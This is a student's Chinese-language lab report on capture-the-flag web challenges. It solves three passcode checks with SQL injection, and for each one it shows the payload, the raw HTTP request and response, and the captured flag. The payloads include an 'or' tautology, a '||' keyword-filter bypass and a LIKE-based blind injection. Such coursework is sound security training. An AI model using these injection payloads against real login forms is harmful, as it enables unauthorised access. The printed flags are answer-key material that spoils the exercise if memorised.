

# Web Lab2 Report

## passcode1

首先向其中输入',发现返回的值报错，判断这是单引号闭合的类型。

Request				Response				
Pretty	Raw	Hex		Pretty	Raw	Hex	Render	
1	POST /check_code.php	HTTP/1.1		1	HTTP/1.1	200 OK		
2	Host: 10.194.164.30:62898			2	Date: Wed, 10 Jul 2024 07:59:14 GMT			
3	Content-Length: 24			3	Server: Apache/2.4.58 (Ubuntu)			
4	Cache-Control: max-age=0			4	Vary: Accept-Encoding			
5	Accept-Language: zh-CN			5	Content-Length: 395			
6	Upgrade-Insecure-Requests: 1			6	Keep-Alive: timeout=5, max=100			
7	Origin: http://10.194.164.30:62898			7	Connection: Keep-Alive			
8	Content-Type: application/x-www-form-urlencoded			8	Content-Type: text/html; charset=UTF-8			
9	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36			9				
10	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7			10	 			
11	Referer: http://10.194.164.30:62898/			11	<b>			
12	Accept-Encoding: gzip, deflate, br				Fatal error			
13	Connection: keep-alive				</b>			
14					: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1 in /var/www/html/check_code.php:16			
15	passcode='&Submit=Submit			12	Stack trace:			
				13	#0 /var/www/html/check_code.php(16): mysqli-&gt;query()			
				14	#1 {main}			
				15	thrown in <b>			
					/var/www/html/check_code.php			
					</b>			
					on line <b>			
					16			
					</b>			
				16				

于是尝试在后面跟上一个永真的条件（即ASCII(SUBSTR(DATABASE(), 1, 1))>0），看看会不会有什么新的回传值，结果竟然直接出了flag。。。说明网站背后仅需passcode="和后面一个条件两者之一为真即可。

Payload:passcode='a' or ASCII(SUBSTR(DATABASE(), 1, 1))>0#&Submit=Submit

Request				Response				
Pretty	Raw	Hex		Pretty	Raw	Hex	Render	
1	POST /check_code.php	HTTP/1.1		1	HTTP/1.1	200 OK		
2	Host: 10.194.164.30:62898			2	Date: Wed, 10 Jul 2024 08:01:48 GMT			
3	Content-Length: 64			3	Server: Apache/2.4.58 (Ubuntu)			
4	Cache-Control: max-age=0			4	Content-Length: 29			
5	Accept-Language: zh-CN			5	Keep-Alive: timeout=5, max=100			
6	Upgrade-Insecure-Requests: 1			6	Connection: Keep-Alive			
7	Origin: http://10.194.164.30:62898			7	Content-Type: text/html; charset=UTF-8			
8	Content-Type: application/x-www-form-urlencoded			8				
9	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36			9	Flag: AAA{i7_1s_4_G00d_sT4R7}			
10	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7							
11	Referer: http://10.194.164.30:62898/							
12	Accept-Encoding: gzip, deflate, br							
13	Connection: keep-alive							
14								
15	passcode='a' or ASCII(SUBSTR(DATABASE(), 1, 1))>0#&Submit=Submit							

AAA{i7\_1s\_4\_G00d\_sT4R7}

## passcode2

向其中输入上一题的Payload，发现显示injection，而随意输入则显示nonono，所以判断对输入进行了sql关键字的检测。再尝试变换大小写，以及将关键字or更改为||，发现都没有作用。观察原代码可知，本题首先对输入字符全部转换为大写，然后进行关键字检测。所以我们需要用||来替换or。然后发现代码中有一行提示选择的应只有一列，所以需用limit 1（limit没有被列入关键词中），即可得到结果。

Request					Response				
Pretty	Raw	Hex			Pretty	Raw	Hex	Render	
1	POST /check_code.php	HTTP/1.1			1	HTTP/1.1	200 OK		
2	Host: 10.194.164.30:60674				2	Date: Thu, 11 Jul 2024 05:52:33 GMT			
3	Content-Length: 52				3	Server: Apache/2.4.58 (Ubuntu)			
4	Cache-Control: max-age=0				4	Content-Length: 31			
5	Accept-Language: zh-CN				5	Keep-Alive: timeout=5, max=100			
6	Upgrade-Insecure-Requests: 1				6	Connection: Keep-Alive			
7	Origin: http://10.194.164.30:60674				7	Content-Type: text/html; charset=UTF-8			
8	Content-Type: application/x-www-form-urlencoded				8				
9	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36				9	Flag: AAA{1_C4n_Us3_Unl0n_W3LL}			
10	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7								
11	Referer: http://10.194.164.30:60674/								
12	Accept-Encoding: gzip, deflate, br								
13	Connection: keep-alive								
14									
15	payload=1'    '1'='1' LIMIT 1 #'&Submit=Submit								

payload: 1' || '1'='1' LIMIT 1 #' AAA{1\_C4n\_Us3\_Un10n\_W3LL}

## passcode3

仍然向其中输入上一题的payload，发现显示injection，说明关键字增加了，构造另一个式子则显示you are cheating

Request					Response				
Pretty	Raw	Hex			Pretty	Raw	Hex	Render	
1	POST /check_code.php	HTTP/1.1			1	HTTP/1.1	200 OK		
2	Host: 10.194.164.30:52459				2	Date: Thu, 11 Jul 2024 05:58:18 GMT			
3	Content-Length: 31				3	Server: Apache/2.4.58 (Ubuntu)			
4	Cache-Control: max-age=0				4	Content-Length: 17			
5	Accept-Language: zh-CN				5	Keep-Alive: timeout=5, max=100			
6	Upgrade-Insecure-Requests: 1				6	Connection: Keep-Alive			
7	Origin: http://10.194.164.30:52459				7	Content-Type: text/html; charset=UTF-8			
8	Content-Type: application/x-www-form-urlencoded				8				
9	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36				9	YOU ARE CHEATING!			
10	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7								
11	Referer: http://10.194.164.30:52459/								
12	Accept-Encoding: gzip, deflate, br								
13	Connection: keep-alive								
14									
15	payload='  l=1#&Submit=Submit								

显然这道题运用了更严格的过滤，并且增加了关键字的过滤。在经过尝试后发现，关键字like没有被屏蔽。like为模糊查询。显然，passcode必定由字符构成，所以我们就采用盲注，遍历所有字符，必定能够找出一种checkcode以某字母结尾。经试验，输入为n时可以得到flag。

Request					Response				
Pretty	Raw	Hex			Pretty	Raw	Hex	Render	
1	POST /check_code.php	HTTP/1.1			1	HTTP/1.1	200 OK		
2	Host: 10.190.70.131:53588				2	Date: Fri, 12 Jul 2024 13:13:17 GMT			
3	Content-Length: 46				3	Server: Apache/2.4.58 (Ubuntu)			
4	Cache-Control: max-age=0				4	Content-Length: 26			
5	Accept-Language: zh-CN				5	Keep-Alive: timeout=5, max=100			
6	Upgrade-Insecure-Requests: 1				6	Connection: Keep-Alive			
7	Origin: http://10.190.70.131:53588				7	Content-Type: text/html; charset=UTF-8			
8	Content-Type: application/x-www-form-urlencoded				8				
9	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36				9	Flag: AAA{Ur_g00d_a7_b00l}			
10	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7								
11	Referer: http://10.190.70.131:53588/								
12	Accept-Encoding: gzip, deflate, br								
13	Connection: keep-alive								
14									
15	payload='  passcode like 'n%' #&Submit=Submit								

payload:'||passcode like 'n%' # AAA{Ur\_g00d\_a7\_b00l}

## Bonus

这个题增加了更多的关键字过滤，如like，#等。题目说数据库版本为sql8，所以查询sql8的漏洞，发现sql8新增了value和table关键词。但我尝试了好久之后还是没能试出来。。